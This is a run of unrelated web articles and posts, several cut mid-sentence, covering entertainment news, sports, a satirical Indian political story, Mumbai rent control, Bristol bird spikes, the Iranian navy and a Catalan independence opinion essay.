“Of course, I could also sell him in January. On what conditions? If they offer me €30m plus the VAT, which is 22 per cent.”The iconic Cartoon Network cartoon The Powerpuff Girls is being rebooted. The reboot will include a fourth Powerpuff Girl to join Blossom, Bubbles and Buttercup, and she's black!
After it was rumored for a few days, South African singer Toya Delazy Delazy announced the news on social media.
AND JUST LIKE THAT, I BECAME A POWERPUFF GIRL???????????????????? Much love to my @cartoonnetwork for trusting me with this epic job????❤️️#lifegoals pic.twitter.com/ZshJT8VWR0 — ToyaDelazy (@ToyaDelazy) September 7, 2017
We don't know the name of Delazy's character or how long she'll be around, we just know she has blue hair.
The network officially announced earlier that a new Powerpuff Girl would be debuted as a part of the TV movie, "The Power of Four." Then we got a shot of the character in a Cartoon Network 2017 Sizzle Reel for Russia.
The original The Powerpuff Girls debuted in 1996. The 5-part TV movie, Powerpuff Girls: The Power of Four, premieres on September 17.My Hero Academia: One’s Justice launches 2018 in Japan; teaser trailer and Katsuki Bakugo gameplay
First look at the Byking-developed action game.
My Hero Academia: One’ Justice will launch for PlayStation 4 and Switch in Japan in 2018, Bandai Namco announced during a Jump Festa 2018 stage event, where it also debuted a teaser trailer and two minutes of gameplay footage.
In addition to previously revealed playable characters Izuku Midoriya and Tomura Shigaraki, Bandai Namco announced that Katsuki Bakugo (voiced by Nobuhiko Okamoto) will also be playable. He is featured in the gameplay footage in a battle against Izuku. The company also revealed that the game runs on Unreal Engine.
My Hero Academia: One’s Justice is a battle action game featuring “realistic stage destruction” through the use of superhuman powers called “Quirks.” Read up on everything we know about the game so far here. While a western release has yet to be announced, Bandai Namco has filed trademarks for “One’s Justice” in the United States, Canada, and Europe.
Watch the teaser trailer and gameplay video below.
Teaser Trailer
Izuku Midoriya Version
Tomura Shigaraki Version
Gameplay
(From 27:44 to 30:24.)MEHSANA: In a strange incident that has caught the imagination of entire Gujarat, a farmer in Bakarpur village in Visnagar here today claimed that an image of AAP founder Arvind Kejriwal had magically appeared on his house wall this morning.
The farmer, 53 years old Bharanjibhai Patel, woke up at 6 AM in the morning today and went outside his house to feed his cows. He saw that all his three cows were looking at the same spot and not mooing. He followed the line of sight of his cows and was surprised to see a sketch of Kejriwal on the outside wall of his house.
“I thought that maybe my neighbor Ritardbhai Unjhawala, who is a diehard supporter of Arvind Kejriwal, had drawn the sketch, but when I confronted him, he denied it. No one in the village had seen anyone drawing anything on my wall, so slowly I realized that this was a magical appearance,” Bharanjibhai Patel said.
The fact that the cows were also looking at the image of Arvind Kejriwal has convinced the villagers that this was a divine sign and not any prank by anyone in the village.
After the news spread in the afternoon, people from nearby villages and other parts of Gujarat started flocking Bakarpur village, and the house of Bharanjibhai became a virtual tourist place. Some people were seen praying to the image while some youngsters were seen clicking selfies with Kejriwal’s image.
A team of scientists from ISRO in Ahmedabad had left for Visnagar to investigate the incident, but local villagers are convinced that it was a miracle.
“Kejriwal is the future. Our entire village will definitely vote for AAP,” a resident of Bakarpur told Junta Ka Reporter. Bharanjibhai Patel, who is reported to have voted BJP in the last elections, also says that now he will be voting for AAP in the next year’s assembly elections.
It should be noted that Visnagar is the taluka where BJP leader Narendra Modi was born and had grown up. Analysts believe that it was not a coincidence that Arvind Kejriwal’s image appeared at a village in Visnagar.
“This confirms that Modi is all set to lose at his home state. Kejriwal is all set to replace Modi,” neutral analyst Abhay Kumar Dubey said.
Abhay Kumar Dubey also pointed out that Arvind Kejriwal’s image had appeared on the wall outside the house and not inside; it proved that Kejriwal respected privacy of people and was a responsible leader.
While neutral analysts and local villagers insist that the image had appeared miraculously, local BJP is insisting that it was a scam and a stunt carried out by Ritardbhai Unjhawala.
BJP supporters are reportedly pressuring |
Security Project. The National Security Strategy won't tear that out by the root, he said.
"The National Security Strategy is a political document put out by the White House. It's almost as if that's how the administration is going to deal with the world, as they want it to be," Holland said. "The top-ranking individual who has a position on this is Secretary Mattis, and he's said climate change is real, it's happening and we have to plan for it, we have to prepare for it."
Francesco Femia, co-president of the Center for Climate and Security, said Trump's omissions on climate would send a message to the world that the U.S. might not engage in discussions on warming now underway.
"I do think it's a negative signal and could have some implications for our partners and allies abroad," he said.
Meetings were held last week in The Hague, Netherlands, and at U.N. headquarters over how the U.N. Security Council might incorporate climate change into its agenda. Another meeting is set for this week in New York. The U.S. has a permanent seat on the council but has been absent from those meetings, and Femia said yesterday's security strategy could show U.S. indifference to an issue of importance to some allies.
Reporter Zack Colman contributed.
Reprinted from Climatewire with permission from E&E News. E&E provides daily coverage of essential energy and environmental news at www.eenews.net.Thank you, Michele Bachmann. For too long the SHARIAstream media has been silent about the increasingly obvious fact that radical Muslims may have infiltrated the highest levels of the United States government. These accusations are based largely on hunches and guilt by association. Does that make them trifles to be pushed aside while we worry about actual issues? No, good sir or madam of Anglo-Saxon heritage. The Bush/Cheney lesson on 9/11 cannot be forgotten: any accusation that involves Muslims will do.
An exclusive National Memo investigation can now revealed serious questions about the loyalty of several prominent so-called Americans— including many who have had access to top-secret information.
Just as Rep.. Bachmann asked the U.S. government to investigate “policies and activities that appear to be the result of influence operations conducted by individuals and organizations associated with the Muslim Brotherhood,” we urge a wide-ranging inquisition against the following people—and their families, of course.
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266Walking around Mumbai it’s common to see some lovely, older buildings (circa 1920s perhaps) that are in a great state of disrepair. A well maintained building can last for hundreds of years so why are these buildings falling apart? The answer is rent control. Bombay passed a rent control act in 1947 that froze rents at 1940 levels.
More than fifty years later, rents remained frozen at 1940 levels. It wasn’t until 1999 that the Act was modified slightly to lift controls on some new construction and to allow rent increases of 4% per year. After a fifty two year freeze, however, a 4% increase was a pittance. Thus, even today there are thousands of flats where tenants are paying rents of 400-500 rupees a month (that’s $6 to $8 a month!)–far, far below market rates.
The rent control law meant that there was virtually no construction of rental housing (WP) for decades and a slowly dilapidating housing stock. (Ironically, the only free market in rental housing is in the slums.)
The nominal landlords have neither the incentive nor the funds to maintain the buildings so every year during monsoon season some of the buildings collapse and people die. As the World Bank put it, the monsoons are Natural Hazards but the collapses are Unnatural Disasters:
Rent controls in Mumbai may have initially benefited tenants at the expense of landlords, but over time everyone suffers. Rent controls cause landlords to forgo maintenance and neglect their properties, and tenants not only live in dilapidated buildings but die when they collapse in heavy rains. Even if tenants are willing to either pay higher rents or to maintain the building, each tries to not pay his share of the expense (free riding), especially if appropriate retrofitting involves structural changes to the entire residential structure and not to individual apartments. Tenants also may lack the legal authority to make changes to their building’s structure.
Consider the photo at top, it’s an elegant building on a nice plot in a highly desirable part of town but take a closer look and you can see that it is falling apart (second photo). Several businesses and flats operate in the building. Now read the sign on the wall.
I don’t doubt that the sign is largely accurate but it also illustrates another aspect of rent control. Rent control transforms a mutually profitable exchange into a zero-sum war of misery. As I discovered in my investigations, a remarkable and sometimes hilarious example is illustrated by this very building.
The tenant, called the “victim lady”, in the Bombay High Court case that she initiated alleges that her landlord has vexed her with many frivolous lawsuits and harassed her in various and sundry ways:
It is alleged that the Respondent, on the pretext of reading books and doing meditation, continues to sit near the window of the victim lady reading law books and passing unwanted remarks stating that he will become a better lawyer by reading law books and will teach the victim lady a lesson. The Respondent is also alleged to have killed the kitten to whom the victim lady regularly used to feed. He is also alleged to have called three men to remove coconuts from the coconut tree and in the process broke number of flower pots belonging to the victim lady and destroyed the garden maintained by her.
In addition, and the judges of the High Court find this especially distasteful, the landlord “has also cast aspersions on the judiciary by making certain statements” about the “inefficiency of the judicial system”. Indeed, in his affidavit-in-reply, the respondent doubled down arguing:
…”the judiciary is perceived as inefficient by most citizens of India” as a justification for what he had stated.
Where could the respondent have gotten such absurd ideas? How dare he claim to know what most citizens think!
The Respondent may be free to express his views about the judiciary, but obviously had no right to project his views as of “most citizens in India”. What survey or research has been made by the Respondent to ascertain the views of “most citizens in India”, has not been disclosed, and considering the number of the citizens in India it is impossible to believe that the Respondent has made any survey or research on these aspects, so as to be able to make an authoritative statement of what “most citizens” feel. The impropriety is so obvious that we do not wish to comment upon the same any further…[to which, of course, the judges then proceed to comment further, AT]
The landlord does come off as a troublesome fellow but dig a little deeper and it’s not hard to see the source of his frustration. The judges, to give credit where credit is due, careful sift through the history of the case and they learn that the landlord has not actually filed many lawsuits against the plaintiff. Instead of many lawsuits, it turns out that there is only one very, very lengthy lawsuit.
Now, coming to the details given in part-B of the petition classified as “facts of the case”, there is reference of the suit bearing RAE No.537/4434/63, but this suit has, admittedly, not been filed by the Respondent and apparently the same has been filed by the grandfather [emphasis added, AT] of the Respondent….It is clear from the averments in the petition itself that the legal proceedings are pending between the parties since the year 1963.
Since landlord junior “came in picture in the year 1998 only”, and was only filling in the shoes of landlord father, who was only filling in the shoes of landlord grandfather, junior can’t be said to have initiated many lawsuits against the tenant. Thus, despite the landlord’s clearly outrageous comments about the inefficiency of the judiciary and whatever else junior may have done to the kitten, the judges throw out the tenant’s petition. The lawsuit that began in 1963 moves forward! Perhaps to be taken up by the next generation.
Addendum: I talk rent control in Mumbai with Amit Varma on his excellent podcast, The Seen and the Unseen.After the Miami Dolphins lost starting quarterback Ryan Tannehill for the season during training camp, the team decided to lure former Chicago Bears QB Jay Cutler out of retirement with a one-year, $10 million deal to fill the spot. The move raised some eyebrows as it was yet another instance of Colin Kaepernick — who was at the center of controversy last season over his refusal to stand during the National Anthem — being passed over by an NFL team in need of a quarterback.
During Monday night’s broadcast of Fox News’ The Five, co-host Jesse Watters wanted it to be known that the Dolphins shouldn’t be knocked as being racist for not signing the black quarterback. Instead, Watters insisted they were just avoiding Kaep because they think he’s an idiot.
After pointing out that some players are able to keep getting signed despite criminal behavior, Watters then came to Miami’s defense.
“The Dolphins aren’t anti-black,” he noted. “They’re anti-idiot. This guy lacks respect. And he’s bad for team chemistry. And he’s bad for the franchise.”
Watters went on to state that it would be pretty difficult for Kaepernick to ingratiate himself to Miami fans based on the previous support he’d shown for former Cuban dictator Fidel Castro.
“They’re going to boo him out of there!” he exclaimed.
After Kaepernick opted out of his contract with the San Francisco 49ers earlier this year, it was reported that he wouldn’t continue his protest during ‘The Star Spangled Banner’ in the 2017 season. Kaepernick felt at the time that there had been positive changes made on the issues of racial and social inequality.
Watch the clip above, via Fox News.
[image via screengrab]
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Follow Justin Baragona on Twitter: @justinbaragona
Have a tip we should know? [email protected]× Some Brewers tickets available for just $4.15 on Tax Day
MILWAUKEE (WITI) — While Tax Deadline Day is not a day typically greeted with much excitement, this year there is reason for Brewers fans to look forward to April 15. For one-day only, Brewers tickets will be available for just $4.15 Tuesday as part of the “Tax Day Triple Play,” presented by Baker Tilly.
Beginning at 9 a.m. Tuesday morning, fans can purchase tickets in the Loge Bleachers, Loge Outfield and Terrace Levels for the April 21, 22 and 23 games vs. the San Diego Padres for only $4.15.
Tickets will go on sale exclusively through Brewers.com/taxday at 9 a.m. Tuesday and will be available until 11:59 p.m. or until supply is exhausted.
In order to take part in the offer, fans will need to enter the password TAXDAY (all letters upper case).
There is a limit of eight tickets per game.THE voice behind Frozen's Elsa the Snow Queen, Idina Menzel, is coming to Bournemouth next month as part of her 2015 world tour. The actress and Broadway star is set to be the hottest ticket of the year, so see Tuesday’s Bournemouth Daily Echo for a chance to win one of two pairs of tickets for her show at the BIC on June 26.
Since its release late last year, the Disney film Frozen has become a worldwide phenomenon.
Furthermore, it's a musical extravaganza with the songs being incredibly catchy and adored by children.
The song that has gained the fame is certainly Idina Menzel's Let It Go, which has gained over 240 million views on YouTube, with the sing-along version viewings also well into millions.
Frozen, based loosely on Hans Christian Andersen's The Snow Queen, has sisters Elsa and Anna who are likeable for different reasons and a powerful hook for girls.
Its strong storyline and songs were recognised by two Oscars and for more than three months, it was in the UK box office top ten.
The movie is not only the highest grossing animated film but the fifth most successful of any genre, having made $1.219bn so far and still going strong.
: For more information on tickets visit call 0844 576 3000, book online at www.bic.co.uk or visit the BIC box office in person.Bristol council says it cannot intervene after spikes fixed to branches of trees on private property to prevent bird mess
Spikes have been fixed to trees in a leafy neighbourhood of Bristol in an attempt to prevent birds perching there and creating a mess on residents’ cars.
The spikes, of the sort normally seen on the ledges of buildings to ward off pigeons, have been spotted on trees in Clifton, near the wildlife-rich Downs and the Avon gorge.
Many Bristol residents have expressed outrage and a Green councillor has vowed to take up the issue with the city council.
Jennifer Garrett (@JMAGarrett) Our war on wildlife: now birds are not allowed in trees...?! Pigeon spikes spotted in Clifton, Bristol above a car park. Has anyone seen this before? How is it allowed?!
📷: thanks to Anna Francis pic.twitter.com/NuG9WvYBMj
One resident, who asked to remain anonymous, said: “The spikes are solely to protect the cars [parked under the trees]. There is a big problem with bird droppings around here. They can really make a mess of cars, and for some reason the birds do seem to congregate around this area.
“We did try other methods to scare off the birds. I think we had a wooden bird of prey in the branches, but that didn’t seem to do anything.”
Paula O’Rourke, a local Green party councillor, said: “I’m aware that the landowner might be legally within their rights to do this to the trees as they seem to be on private land.
“However, I will be looking into this at the council. Whether allowed or not though, it looks awful and it’s a shame to see trees being literally made uninhabitable to birds – presumably for the sake of car parking.
“Sometimes it’s too easy to lose sight of the benefit that we all gain from trees and green spaces and from the presence of wildlife around us in the city.”
Jennifer Garrett, a nature lover and writer, called it a “war on wildlife”. “Now birds are not allowed in trees … How is it allowed?” she tweeted.
A spokesperson for Bristol city council said the trees were on private property and not subject to a tree protection order, so there was nothing the local authority could do. The spokesperson said the spikes had been in place for a number of years.
Jeff Knot, the RSPB’s head of nature policy, said: “Nature is in trouble and needs our help more than ever. We have all seen recent TV programmes or reports in the media telling us that nature is facing a struggle to survive.
“In fact, the recent State of Nature report highlights that more than half of all wildlife in the UK has declined over the past 40 years. Instead of looking at ways we can force nature into an ever smaller space, we should look at how we can live alongside wildlife and help give it a home in our villages, towns and cities.”Real Madrid | La intrahistoria
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Si el pasado 31 de marzo una familia madridista fue amedrentada por los ultras de Osasuna en el Reyno de Navarra, el sábado fue otro joven aficionado blanco el que pasó un trago aún peor en el Camp Nou. Cuatro captó como este hincha, vestido con una camiseta del Madrid, fue agredido por tres seguidores barcelonistas poco después de que Undiano pitase el final.
El inicio de la secuencia muestra a un aficionado con una bufanda culé increpando al madridista hasta acabar lanzándole un puñetazo. El madridista replicó de igual manera y se unió a la refriega otro aficionado barcelonista con el pelo rapado. Un amigo (con camiseta del Barça) del agredido acudió al rescatarle pero, justo antes de entrar en el vomitorio, otro aficionado azulgrana le atizó de forma cobarde un puñetazo en la nuca.The Islamic Republic of Iran’s Army Navy is tasked with safeguarding the country’s borders, resources and interests, he said on Wednesday, adding that the strategic force also has presence in international waters, showcasing the might of the Islamic Establishment.
Rear Admiral Sayyari further said the Navy’s 43rd flotilla of warships will be in high seas on a mission to protect commercial vessels and oil tankers in Bab-el-Mandeb Strait, the Gulf of Aden and the Red Sea, against attacks by pirates.
He said it will also be sent to Tanzania, South Africa and the Atlantic Ocean if the weather conditions are favorable.
The commander underlined that based on international laws, Iran’s Navy has the right to be present in all international waters.
In recent years, Iran’s naval forces have increased their presence in high seas to secure naval routes and protect merchant vessels and oil tankers against pirates.
In line with international efforts to combat piracy, the Iranian Navy has been conducting anti-piracy patrols in the Gulf of Aden since November 2008 to safeguard the vessels involved in maritime trade, especially the ships and oil tankers owned or leased by Iran.In Phil Kessel and James van Riemsdyk the Toronto Maple Leafs have arguably the most potent pair of first line wingers in the NHL. Last year the two finished 6th and 16th in the league in goals, with a total of 67 between them. Imagine the damage they could do if they had a bona fide first line centre to play with.
Leafs Tyler Bozak loses the puck to a back check from Montreal's Alex Galchenyuk. Toronto Maple Leafs home opener against the Montreal Canadian's to start the 2014-15 NHL season, at the Air Canada Centre on October 8, 2014. ( Rick Madonik / Toronto Star ) The Leafs top line of (from left) Phil Kessel, Tyler Bozak and James van Riemsdyk earlier this year. ( Vince Talotta / Toronto Star FILE PHOTO )
Chris Kunitz has Sidney Crosby. Corey Perry has Ryan Getzlaf. Patrick Sharp has Jonathan Toews. Alex Ovechkin has Nicklas Backstrom. Kessel and van Riemsdyk have... Tyler Bozak. To say that Bozak isn’t exactly your prototypical first line centre in the mold of the superstars listed above is like saying that Tim Tebow isn’t exactly Peyton Manning. Bozak did score 2.32 points per 60 minutes (5-on-5) last year, which was the highest among all Leafs centres. But that’s hardly enough to silence Toronto’s notoriously unforgiving fan base, who insist that Bozak’s really not much more than a passable third-liner who’s managed to hit the jackpot by getting slotted between two of the league’s premier wingmen.
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The alternative to Bozak is second line centre Nazem Kadri. Kadri has shown flashes of brilliance in his four-year NHL career, but he’s also spent much of the last few seasons in coach Randy Carlyle’s doghouse because of his defensive lapses and perceived inconsistency. Kadri scored 1.71 points per 60 minutes (5-on-5) last season. So which of the two should be the Leafs’ No. 1 man in the middle?
What do you think?
Under old school thinking, Bozak’s considerably better P/60 would pretty much be the start and end of the discussion. But there are two problems with that approach. First, because goals happen so infrequently, points may not be an accurate measure of actual performance unless you’re using more than a full season’s data. One way to account for this problem is to measure performance using Corsi For % (CF%) – which is the percentage of all shot attempts by both teams that are taken by a player’s team when he’s on the ice. Because shot attempts happen so much more often than goals, it takes far fewer games for CF% to provide a reasonable measure of performance, and CF% has been shown to be a good predictor of goals over the long run. Second, regardless of whether P/60 or CF% is used, if we just compare the individual numbers of the two centres the comparison won’t be apples-to-apples because Bozak gets to play with much better linemates. A straight-up comparison of each player’s P/60 or CF% would be measuring (1) whether Bozak playing with Kessel and JVR is better than Kadri playing with second-liners. But what we really want to know is (2) whether Bozak playing with Kessel and Van Riemsdyk is better than Kadri playing with Kessel and JVR.
It turns out that in the 271 minutes Kadri played with Kessel and Van Riemsdyk last season, that line’s CF% was 49.3. In the 831 minutes Bozak played with those wingers, their CF% was only 46.2 (stats courtesy of Progressivehockey.com). That’s a big difference, and it strongly suggests Kadri is the right man for the job.
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Now 271 isn’t a whole lot of minutes, so to double-check my results I expanded the comparison to include every Leaf that Bozak or Kadri played with for 200+ minutes last year. As the graph shows, with only a single exception (defenceman Cody Franson) every single Leaf did considerably better when playing with Kadri than with Bozak. In some cases (wingers Joffrey Lupul, David Clakson, Mason Raymond) the differences were astronomical.
This leaves little doubt that Kadri is the better player. So the conclusion has to be that Kadri should be the first line centre, right? Ordinarily the answer would be an unequivocal “yes.” But in this particular instance there’s a weird dynamic working in the background. The graph illustrates that definite second-liner Lupul and possible second-liner Clarkson do so much worse with Bozak than Kadri that moving Bozak onto the second line would decimate the second line’s productivity. This confirms the Bozak-haters’ belief that his success is due much more to his elite wingers than Bozak himself. But at the same time it cuts the legs out from the anti-Bozak camp’s argument that he should be deposed from the top line. Even though Kadri is clearly the better player, and even though Kessel and van Riemsdyk do considerably better with Kadri, the numbers show that a second line with Bozak in the middle would be so feeble that in the aggregate the top two lines’ production would be much lower. Ultimately Bozak is lucky he isn’t a better player. If he were, he’d get demoted for sure. The Department of Hockey Analytics employs advanced statistical methods and innovative approaches to better understand the game of hockey. Its three founders are Ian Cooper, a lawyer, former player agent and Wharton Business School graduate; Dr. Phil Curry, a professor of economics at the University of Waterloo; and IJay Palansky, a litigator at the law firm of Armstrong Teasdale, former high-stakes professional poker, and Harvard Law School graduate.
Read more about:Catalunya and Constitutional Crisis
Jeremy Amadé Hill Edwards Blocked Unblock Follow Following Oct 2, 2017
Global struggle for democracy has lessons to learn from brutality in Barcelona
Daniel Teruel ignores the rain as he walks through a pro-independence neighbourhood in Barcelona on Sunday, October 1st, 2017
Understanding the history of Spain is vital context to any analysis of the present situation. In 1936, the Popular Front, a coalition of leftist political parties including the Communist Party, the Spanish Socialist Workers’ Party, the Republican Union, and the Republican Left, amongst others, won national elections in Spain by a narrow margin, defeating the conservative Spanish Confederation of Autonomous Right-wing groups. Fearing that a democratic republic would lead to communism, masonic Jewry, and the destruction of the Holy Church, conservative political forces allied with the military conspired against the democratic result, resulting in the July Coup led by Generals José Sanjurjo and Francisco Franco that triggered Spain’s Civil War (1936–1939). At the cost of half a million lives, Franco won the Civil War with the help of Nazi Germany and Facist Italy and established a military dictatorship that resulted in a totalitarian state.
Resistance to Franco’s regime was concentrated in the Basque country and Catalunya, whose Peoples suffered incessant repression and violence for opposing Franco, taking the brunt of the government’s terrorist tactics, which included summary public execution and forced-labour in concentration camps. As the Second World War began to unfold, Franco cooperated with the Axis, in spite of Spain’s official position of neutrality, by providing harbour to German and Italian ships, importing war materials for Germany, passing military intelligence on the Allies to the Axis, and sending Spanish men to fight on the Russian front as part of the German army. Commentators have long debated the semantics of fascism versus totalitarianism in describing Franco’s regime, but there is little doubt that Franco was ideologically aligned and practically allied with nazism. This resulted in Spain’s isolation from the international community in the aftermath of the war once nazism’s global ambitions had been defeated. The nazi’s defeat precipitated a transition in Franco’s regime from an openly totalitarian to an authoritarian system. The differences between these systems of repression resulted in the economic liberalisation of Spain, and the nation’s recovery from chronic economic depression.
The capitalist west, which at first only had relations with Franco because he was an outspoken anti-communist, slowly began to accept Spain into the international community on the back of these liberalising reforms. In the hopes of securing the continuation of his dictatorship after his death in 1975, Franco restored the monarchy and appointed King Juan Carlos I as his successor. Carlos I instead led Spain in its transition to democracy, and after a referendum in 1978, a new constitution was adopted that transformed Spain into a parliamentary democracy under a constitutional monarchy. Although Franco failed in his efforts to extend his dictatorship, some aspects of Francoism were retained for the sake of national stability. The democratic transition in 1978 was built on two core compromises in particular. The first was that the safety and continuation of the monarchy would be guaranteed. The second compromise was the inclusion in the 1978 constitution of the following text,
The Constitution is based on the indissoluble unity of the Spanish Nation, common & indivisible fatherland (patria) of all Spaniards. It acknowledges and guarantees the right to autonomy of the nationalities of which it is composed and solidarity among them.
This text was not in initial drafts of the constitution and was added only to break an impasse between the left and right. The sentence referencing the “indissoluble unity” of Spain was written to appease conservatives. Paradoxically, the very next sentence guarantees “the right to autonomy”, which was written to protect the political independence of leftists in Catalunya and elsewhere. These two sentences summarise the competing political interests that are at the root of the conflict between Catalunya and Spain.
The conflict has been brought to a boiling point in recent weeks, but the recent strength of the independence movement can be traced to the Spanish government’s handling of the 2008 economic crisis. Like other governments around the world, Spain forced austerity on its population in the middle of the Great Recession instead of increasing fiscal spending, effectively making the People pay the price for individual wrongdoing and corporate malpractice. The illogicality and immorality of austerity had the consequence of extending the duration and depth of the crisis, leading to high unemployment, which has a strong correlation with support for Catalonian independence. In response to these coercive policies from the government, the Government of Catalunya agreed a series of reforms with the central government to increase Catalunya’s sovereignty as enshrined in Catalonia’s Statute of Autonomy, but these reforms were blocked by Spain’s constitutional court after a legal challenge by The People’s Party, the largest party in Spain’s current coalition government led by Prime Minister Mariano Rajoy. The inherent constitutional conflict between an indissoluble Spain and the right to autonomy for the nations comprising Spain thus reached its logical conclusion: there can be no greater autonomy or independence for Spain’s autonomous regions because to grant greater autonomy would be to undermine the compromises that provided the constitutional basis for the military, Francoists, and monarchists to tolerate Spain’s transition to democracy in 1978.
There was no purge of Francoist government officials after the end of the dictatorship, meaning that large segments of the Spanish population still hold extreme conservative or authoritarian views, and these elements of the population wield disproportionate power in Spain. The natural consequence is that institutions of government remain authoritarian in practice as well as in principle despite the veneer of democracy that constitutional reforms have given to the Spanish state. The Spanish national police force is deeply corrupt, as is Spain’s monarchy, and the ruling People’s Party, which was founded by Manuel Fraga Iribarne, one of Franco’s ministers during the dictatorship. The clearest possible example of the institutional bias in Spain against democracy is the fact that the judge who is set to rule on sedition charges against Catalan activists for attempting to hold the October 1st referendum was a police inspector in the Franco dictatorship. A judge who rejected investigating the Francoist far-right group called Falange y Tradición for damaging monuments in tribute to dictatorship victims, but who sentenced two puppeteers to prison for a performance in which a puppet showed a poster with a message that some people understood as defending the ETA Basque terror organisation, is obviously not a suitably impartial judge to be deciding cases concerning regional autonomy.
Having exhausted judicial and political avenues to increased autonomy, the Government of Catalonia unilaterally called a referendum for October 1st, 2017, and narrowly passed a law in the Parliament of Catalonia making the referendum legally binding with a simple majority regardless of the level of voter turnout. To be clear, this is not only unconstitutional under an explicit reading of the text of the Spanish constitution, but also illegal under Catalunya’s own laws, which require a majority of two-thirds in the legislature for any change to Catalunya’s autonomy status, according to the Catalan Statutory Guarantees Council. Regardless, the Catalan government appealed directly to the People’s inalienable natural right to self-determination and proceeded with the referendum in the face of concerted efforts from the central government to thwart it.
The central government was not successful in its efforts to prevent the referendum from taking place, despite Rajoy’s reality-denying claim that it had, and despite employing a wide range of violent and illegal tactics to this end. Section 155 of the constitution states that,
If a Self-governing Community does not fulfil the obligations imposed upon it by the Constitution or other laws, or acts in a way that is seriously prejudicial to the general interest of Spain, the Government, after having lodged a complaint with the President of the Self-governing Community and failed to receive satisfaction there, may, following approval granted by the overall majority of the Senate, take all measures necessary to compel the Community to meet said obligations, or to protect the above mentioned general interest.
With a view to implementing the measures provided for in the foregoing paragraph, the Government may issue instructions to all the authorities of the Self-governing Communities.
The Spanish government’s efforts to derail the referendum involved arresting Catalonian officials, threatening poll workers with €300,000 fines, confiscating millions of ballot papers, blocking access to pro-independence websites, compelling MNCs like Google to hamper the referendum, spreading propaganda through the media and sports teams, sending 10,000 national police and Guardia Civil from around Spain to Catalunya, and, ultimately, beating old women who dared to vote until they were bloody. These exceptionally aggressive and violent tactics were not preceded by a majority vote in the Senate to authorise the measures taken, making the central government’s response to the referendum itself unconstitutional.
The effect of the government’s brutally repressive measures was predictable. They have inspired a new generation of political activists and Catalonian nationalists into action, and in the process have united the Catalan nation behind independence, as evidenced by the 92% of the 3 million Catalans who voted in favour of independence. My friend, Daniel Teurel, was initially against independence, but flew to Barcelona at the last minute so that he could vote Sí! Men, women, and children from all walks of life, including some so young that they could not walk, and others so old that they could not stand, joined together in a show of total unity across Catalunya. The headlines in El Pais and the chat on conservative radio that in the run up to the referendum had labelled proponents of independence as far-left quacks and young, internationally-based social anarchists was proven to be baseless propaganda. Even during the day of the referendum itself, when it had become clear to the everyone, including the international media present, just how widespread the independence movement had become, the concerted propaganda effort broadcast their fake news to unwitting Spaniards around the nation. This was the government’s strategy of choice, instead of simply allowing the referendum to unfold, which would have almost certainly resulted in fewer than 50% of the population backing independence, and then challenging the result through the judicial process. In the end, the government cut itself fatally wielding its own sword, deepening the crisis to the point of no return. There is no evading the fact that Prime Minister Rajoy chose to send men dressed all in black with balaclavas covering their faces to crush Catalans' spirit for freedom at all costs. The government has instead succeeded only in destroying their political and moral legitimacy in the eyes of world. After yesterday’s deeply horrific state violence, I doubt there is a single person who was actually in Barcelona who fails to recognise that a majority of Catalans see a permanent and irreconcilable split from the openly oppressive and anti-democratic Spanish government. The people under that delusion seem to reside solely in Madrid.by
Brian Bridges was still an area-crosschecking scout for the Braves in 2010, helping coach the high school Team USA team. He had a particular player he thought was special, a kid out of New Mexico named Blake Swihart. “He would be the shortstop,” Bridges said that summer as the team toured. “But we have a kid from Puerto Rico who is beyond believe.” Named Francisco Lindor.
“But Swihart is going to be a star,” Bridges said, “wherever he plays.”
The following June the Red Sox drafted Swihart in the first round of a draft that later included Jackie Bradley Jr. and Mookie Betts, and announced they’d taken him as a catcher. Swihart had grown up tethered to his father’s alma mater, the University of Texas, and his agent let the Red Sox know his room at home was painted burnt orange.
Swihart finally came to visit Fenway Park weeks before the August 15 signing deadline, aware that his agents had proclaimed him unsignable. As it turned out, after working out for Gary Tuck in the bullpen, being cajoled in the dugout by Terry Francona and Dustin Pedroia, it turned into a recruiting trip, as if he were quarterback on his official visit to Austin or Tuscaloosa. When he got into the cage and took a BP round lefthanded, he hit line drive after line drive, then when he crossed over to bat righthanded, Pedroia stepped in front of the cage and yelled, “hey, this is the American League East, you have to hit balls outta here.” Swihart broke out laughing, then hit five of the first dozen pitches over The Monster and across the street.
A half hour later, he told me he was signing, as the agent was telling Theo Epstein he wasn’t signing.
So it began.
The Red Sox believed Blake Swihart was going to be a premium switch-hitting, athletic everyday catcher. He had the athleticism of a Big Eight quarterback. He was a championship level high school wrestler who, like his buddy Alex Bregman, was a shortstop. What he hadn’t really done much was catching.
Six years later, as he turns 25 the first week of April, he still hasn’t caught that much. “Look how well he played left field last season before he got hurt,” says former Red Sox GM-turned-Arizona President Mike Hazen. “He could probably be a very good player at any position on the field except maybe center field and catcher. But when he has some experience, he could be a very good catcher.”
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Swihart will be 25 the first week of April. So compare his catching experience to two of the best 25 year old catchers currently in the major leagues by games started and innings caught at catcher on all professional levels, as well as his minor league percentage throwing out base stealers:
Age G Started@C Inn. Caught CS%
Blake Swihart 25 280 3275 39%
Gary Sanchez 25 433 4504.2 35%
J.T. Realmuto 25 480 5361 38%
Christian Vazquez 26 472 5265 39%
Jorge Alfaro 23 363 3526 30%
Willson Contreras 24 267 3182 33%
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Start there. Swihart opened the season behind the plate last April. The team lost six games. The pitchers struggled with command. He struggled. After six games, he stopped catching, moved to left field, and while he played very well in his 13 games at the position (he actually already had a positive defensive runs saved of +1), he wrecked his ankle running into the wall in foul territory at Fenway and eventually needed off-season surgery. So the bat, the athleticism (he ran around the bases in 15 seconds with what he thought was an inside-the-park homer at Citi Field the previous August), the eagerness was wasted.
“He essentially missed a year which he began with little catching experience,” says Red Sox coach and catching professor Dana LeVangie. “Let’s be honest, a lot of American catchers develop late.” Great point. College catchers seldom develop in college because coaches don’t allow them to call pitches or think. Good athletes at the high school level don’t catch because it’s hard to develop receiving and hitting skills simultaneously.
“Everyone catches differently,” says Levangie, who discounts the obsession with framing stats “since umpires often make up their minds on a pitch before it reaches home plate.”
LeVangie had partnered with Jason Varitek. “ |
to himself at the back and the team was trying to tread water in the face of disorganized chaos). Napoli are so good going forward, particularly on the flanks, that letting them have the ball and inviting them to attack a defensive line filled with stopgaps across the board could work. The team would suffer offensively, to be sure, but would still have enough chances to come away with an away goal or two while keeping a clean sheet.
So as to not dodge the part of the question about players: Kovacic over Casemiro, and Nacho over Danilo. I’ll leave it there, as I’ve answered the ‘x player vs x player’ question more times than I can actually comprehend.
@KiyanSo Will you buy a new attacker or stick with BBC after this season?Who will be top of your wishlist if you buy?Want Your opininon. — SAMBIT MANNA (@SAMBIT_MANNA) February 5, 2017
